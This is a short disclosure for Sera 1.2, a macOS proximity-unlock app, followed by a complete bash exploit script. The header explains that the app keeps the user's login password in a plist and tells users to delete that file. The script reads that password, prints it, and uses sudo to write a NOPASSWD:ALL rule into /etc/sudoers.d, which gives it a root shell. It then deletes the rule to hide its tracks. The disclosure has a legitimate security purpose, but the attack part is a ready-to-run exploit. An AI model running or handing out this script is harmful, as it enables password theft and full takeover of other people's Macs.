Sera 1.2 – Local Privilege Escalation / Password Disclosure
# Sera is a free app for mac and iOS that lets you unlock your mac automatically # when your iphone is within a configured proximity. # Unfortunately to facilitate this it stores the users login password in their # home directory at: # ~/Library/Preferences/no.ignitum.SeraOSX.plist # This makes root privilege escalation trivial and worse than that even # facilitates dumping the keychain as we can easily obtain the user's login # password. If they are an admin user we can even dump items from the system # keychain. # The author of Sera has said he will shut the project down and make the code # publicly available so no fix is likely to be forthcoming anytime soon. # It is strongly recommended not to use this app and if you have done so in the # past make sure you remove this file that contains your login password. # https://m4.rkw.io/sera_1.2.sh.txt # dbf4f7b64cac8a60a2c7b3ba2a3988b84a148a3f6e31bcb58d4554e5e74d8edf # ------------------------------------------------------------------------- #!/bin/bash ############################################################## ###### sera 1.2 local root privilege escalation exploit ###### ###### by m4rkw - https://m4.rkw.io/blog.html ###### ############################################################## sera_pass=`plutil -p ~/Library/Preferences/no.ignitum.SeraOSX.plist |grep '"sera_pass"' |cut -d '"' -f4` if [ "$sera_pass" == "" ] ; then echo "Password not found." exit 1 fi echo "user's password is: $sera_pass" user="`whoami`" echo "$user ALL=(ALL) NOPASSWD:ALL" > /tmp/sera_12_exp echo "$sera_pass" | sudo -S chown root:wheel /tmp/sera_12_exp 1>/dev/null 2>/dev/null echo "$sera_pass" | sudo -S mv /tmp/sera_12_exp /etc/sudoers.d/sera_12_exp 1>/dev/null 2>/dev/null sudo bash -c 'rm -f /etc/sudoers.d/sera_12_exp; /bin/bash' |